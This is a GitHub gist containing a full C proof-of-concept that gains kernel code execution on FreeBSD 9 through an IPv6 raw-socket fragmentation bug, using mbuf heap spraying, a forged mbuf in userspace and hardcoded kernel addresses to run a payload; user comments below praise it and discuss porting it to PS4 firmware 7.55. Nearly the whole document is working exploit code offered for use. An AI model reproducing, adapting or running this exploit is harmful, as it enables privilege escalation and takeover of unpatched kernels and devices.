Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability
#include <sys/types.h>
#include <sys/param.h>
#include <sys/cpuset.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/vmmeter.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <vm/vm_param.h>
#include <stdio.h>
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final)
{
unsigned char buf[0x100];
// hop-by-hop header
buf[0] = 44;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// fragment header
buf[8] = 43;
buf[9] = 0;
size_t mid = off + !is_final;
buf[10] = mid / 256;
buf[11] = mid % 256;
buf[12] = 0xde;
buf[13] = 0xad;
buf[14] = 0xbe;
buf[15] = 0xef;
for(size_t i = 0; i < sz; i++)
buf[16+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
void build_rthdr(char* buf, int sz)
{
buf[0] = 43;
buf[1] = sz / 8 - 1;
buf[2] = 0;
buf[3] = 0;
for(size_t i = 4; i < sz; i++)
buf[i] = 0;
}
#define RTHDR_1_SZ 0x68 // MHLEN-56
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf
#define FIRST_FRAGMENT_SZ 0x38
#define SPRAY_SIZE 400
#define SMALL_SPRAY_SIZE 400
#define HUGE_SPRAY_SIZE 0x2800
#define RECLAIM_THRESHOLD 10
void push_mbuf(int* socks, int i)
{
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0)
printf("push_mbuf failed\n");
}
int pop_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0);
return ans;
}
int peek_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0);
return ans;
}
#if 0
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum)
{
uint16_t* x = (unsigned short*)buf;
for(size_t i = 0; i < sz / 2; i++)
csum += x[i];
while(csum >= 0x10000)
{
uint32_t q = csum / 0x10000;
csum %= 0x10000;
csum += q;
}
return (uint16_t)(0xffff - csum);
}
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz)
{
ans[0] = 0x45;
ans[1] = 0;
ans[2] = (sz+28)%256;
ans[3] = (sz+28)/256;
ans[4] = 0xde;
ans[5] = 0xad;
ans[6] = 0;
ans[7] = 0;
ans[8] = 64;
ans[9] = 17;
ans[10] = ans[11] = 0;
ans[12] = ans[16] = 127;
ans[13] = ans[17] = 0;
ans[14] = ans[18] = 0;
ans[15] = ans[19] = 1;
ans[20] = ans[22] = port % 256;
ans[21] = ans[23] = port / 256;
ans[24] = (sz+8)/256;
ans[25] = (sz+8)%256;
ans[26] = 0;
ans[27] = 0;
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8);
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28);
for(size_t i = 0; i < sz; i++)
ans[i+28] = buf[i];
}
void push_mbuf_r(int r, int* socks, int i)
{
struct sockaddr_in sin;
socklen_t l = sizeof(sin);
getsockname(socks[i], (struct sockaddr*)&sin, &l);
char buf[32];
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i));
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l);
}
#endif
int create_loopback(void)
{
#if 1
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
struct sockaddr_in6 sin = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0,
};
sin.sin6_addr.s6_addr[15] = 1;
#else
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
#endif
socklen_t sin_l = sizeof(sin);
bind(sock, (struct sockaddr*)&sin, sin_l);
getsockname(sock, (struct sockaddr*)&sin, &sin_l);
connect(sock, (struct sockaddr*)&sin, sin_l);
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
return sock;
}
int get_port(int fd)
{
struct sockaddr_in6 sin;
socklen_t l = sizeof(sin);
getsockname(fd, (struct sockaddr*)&sin, &l);
return sin.sin6_port;
}
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret");
void kexec(void*);
#define uma_reclaim ((void*)0xffffffff80a7c1c0)
int port_to_csum(int port)
{
int base_port = 0x0de6;
int base_csum = 0x36b1;
int csum = base_csum - 2 * (port - base_port);
csum += 0x1fffe;
csum %= 0xffff;
return csum;
}
volatile void* userland_spray(void)
{
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t npages = 50000;
for(size_t i = 0; i < (1L<<33); i += 4096)
{
int checkout = 0;
if(i % 10485760 == 0)
{
checkout = 1;
printf("%lu\n", i);
}
struct vmtotal v1, v2;
struct timeval t1, t2;
int mibs[2] = {CTL_VM, VM_TOTAL};
size_t l = sizeof(v1);
if(npages < 50000 || checkout)
sysctl(mibs, 2, &v1, &l, 0, 0);
buf[i] = 123;
if(npages < 50000 || checkout)
{
sysctl(mibs, 2, &v2, &l, 0, 0);
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD)
{
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
break;
}
else if(v2.t_free > v1.t_free)
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
npages = v2.t_free;
}
}
printf("sprayed (?)\n");
//munmap(buf+(1<<30)-(1<<20), 1<<20);
return buf;
}
void pipe_spray(void)
{
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for(size_t i = 0; i < 4096; i++)
buf[i] = 0x41;
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++)
{
int p[2];
pipe(p);
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK);
write(p[1], buf, 4096);
write(p[0], buf, 4096);
}
}
void push_jumbo(int fd)
{
char buf[2048];
for(int i = 0; i < 2048; i++)
buf[i] = 0x41;
for(int i = 0; i < 31; i++)
sendto(fd, buf, sizeof(buf), 0, 0, 0);
}
void* mmap_at(void* where, size_t sz)
{
uintptr_t addr = (uintptr_t)where;
uintptr_t end = addr + sz;
addr &= ~4095ull;
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr)
{
printf("failed to mmap_at!\n");
return 0;
}
//prefault pages
unsigned char* p = where;
for(size_t i = 0; i < sz; i++)
p[i] = 0;
return where;
}
void kernel_payload(int bad_fd)
{
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90;
printf("Hello, kernel world!\n");
int****** td;
asm volatile("mov %%gs:0, %0":"=r"(td));
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf
void*** zone_mbuf = (void*)0xffffffff811008a0;
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets
}
int main(void)
{
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(2, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int huge_spray[HUGE_SPRAY_SIZE];
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i);
int small_spray[SMALL_SPRAY_SIZE];
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
small_spray[i] = create_loopback();
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0);
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++)
int q;
FORALL push_mbuf(socks, i);
char delayed_pkt[20];
*(uint32_t*)(delayed_pkt+16) = 0x41414141;
send_fragment(sock, delayed_pkt, 16, 4, 1);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
push_mbuf(small_spray, i);
int bad1 = -1, bad2 = -1;
FORALL if((q = peek_mbuf(socks, i)) != i)
{
bad1 = i;
bad2 = q;
}
if(bad1 < 0 || bad2 < 0)
{
printf("fatal: no corruption\n");
return 1;
}
build_rthdr(delayed_pkt, 8);
delayed_pkt[0] = 17; // udp
uint16_t bad1_port = get_port(socks[bad1]);
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port;
delayed_pkt[12] = 0;
delayed_pkt[13] = 12;
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port);
send_fragment(sock, delayed_pkt, 0, 16, 0);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
pop_mbuf(socks, bad1);
pop_mbuf(socks, bad2);
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++)
{
printf("%d ", i-SPRAY_SIZE);
fflush(stdout);
print_mbuf_addr(socks[i]);
}
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad1]);
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad2]);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
{
printf("%d ", i);
fflush(stdout);
print_mbuf_addr(small_spray[i]);
}*/
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--)
pop_mbuf(small_spray, i);
pop_mbuf(socks, bad1);
for(int i = SPRAY_SIZE-1; i >= 0; i--)
if(i != bad1 && i != bad2)
pop_mbuf(socks, i);
//print_mbuf_addr(socks[bad2]);
void* ul_buf = (void*)userland_spray();
unsigned char rthdr[1016];
build_rthdr((char*)rthdr, sizeof(rthdr));
rthdr[0] = 0;
rthdr[3] = rthdr[1] / 2;
rthdr[4] = 0x90;
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100);
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull;
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload;
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1
int fake_refcnt = 1;
*(void**)(mbuf_fake+0x80) = &fake_refcnt;
*(int*)(mbuf_fake+0x88) = 400;
for(int i = 256; i < sizeof(rthdr); i++)
rthdr[i] = rthdr[i % 256];
printf("crafted fake mbuf in userspace\n");
/*for(int i = 4; i < sizeof(rthdr); i++)
rthdr[i] = 0x41;*/
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SPRAY_SIZE; i++)
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad2);
close(socks[bad1]);
close(socks[bad2]);
printf("pwned\n");
munmap(ul_buf, 1L<<33);
return 0;
}
@Regis242

This comment has been minimized.

Copy link

@Regis242 Regis242 commented Jan 20, 2021

Awesome congrulations bro

@TheWizWikii

This comment has been minimized.

Copy link

@TheWizWikii TheWizWikii commented Jan 20, 2021

Amazing work Buddy! What firmware is supposed to be functional on

@danielbatiz36

This comment has been minimized.

Copy link

@danielbatiz36 danielbatiz36 commented Jan 20, 2021

Amazing work Buddy! What firmware is supposed to be functional on

Hi pal, this has been done with the SOCK RAW vulnerability which was discovered by TheFlow. The vulnerability affects the PS4 OFW up to 7.55, I think 8.00 too but I’m not sure. So in fewer words is a FUTURE exploit for 7.55 OFW. Not yet but near.

@alanhenriq97

This comment has been minimized.

Copy link

@alanhenriq97 alanhenriq97 commented Jan 21, 2021

Great job, I'm excited to make a donation for your great work on the scene.

@maree01

This comment has been minimized.

Copy link

@maree01 maree01 commented Jan 24, 2021

Yeah we really need to donate ;)

@matheussurf24

This comment has been minimized.

Copy link

@matheussurf24 matheussurf24 commented Jan 25, 2021

наверное и вот что выложил разведку с аппетитом Полный веб-набор 7.55

@harshdhaliwal1

This comment has been minimized.

Copy link

@harshdhaliwal1 harshdhaliwal1 commented Jan 25, 2021

Add a donation link, we appreciate your work for PS4 :)
Кстати, свобода Алексею Навальному!

@someone35-ps4

This comment has been minimized.

Copy link

@someone35-ps4 someone35-ps4 commented Jan 25, 2021

This is really amazing, shoutout to everyone in the ps4 scene, and props to theflow for playstation letting him disclose the sock raw exploit, and people like him and sleirsgoevy and fire30, etc in the end are the ones who get these done, all we can hope now is a poc for cve-2020-13543(talos-2020-1155), and if it works, we have a kex for 7.55 and posibly 8.00

https://talosintelligence.com/vulnerability_reports/TALOS-2020-1155

@harshdhaliwal1

This comment has been minimized.

Copy link

@harshdhaliwal1 harshdhaliwal1 commented Jan 26, 2021

I found some kernel offsets of PS4 on 7.50 .
Will it help?

@komawoyo

This comment has been minimized.

Copy link

@komawoyo komawoyo commented Jan 27, 2021

@harshdhaliwal1 you mind posting it? I would like to check if it makes a difference on the webkit success rate.

@zizoom

This comment has been minimized.

Copy link

@zizoom zizoom commented Feb 26, 2021

اين مطوربن العرب مشكور على المجهود

@SchneideR52

This comment has been minimized.

Copy link

@SchneideR52 SchneideR52 commented Feb 26, 2021

Keep working bro 👏🙏🌹

@zchhdgj

This comment has been minimized.

Copy link

@zchhdgj zchhdgj commented Feb 26, 2021

We hope for you very much👏💪

@HasanMalik313

This comment has been minimized.

Copy link

@HasanMalik313 HasanMalik313 commented Feb 26, 2021

sleirgoevy is the best much respect 🌹🌹

@biboo007

This comment has been minimized.

Copy link

@biboo007 biboo007 commented Feb 26, 2021

keep working bro we support you

@Tito0o7

This comment has been minimized.

Copy link

@Tito0o7 Tito0o7 commented Feb 26, 2021

Good job

@Aris45

This comment has been minimized.

Copy link

@Aris45 Aris45 commented Feb 26, 2021

mantap

@amirrezaii1364

This comment has been minimized.

Copy link

@amirrezaii1364 amirrezaii1364 commented Feb 26, 2021

Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend

@zchhdgj

This comment has been minimized.

Copy link

@zchhdgj zchhdgj commented Mar 8, 2021

keep working 💪

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment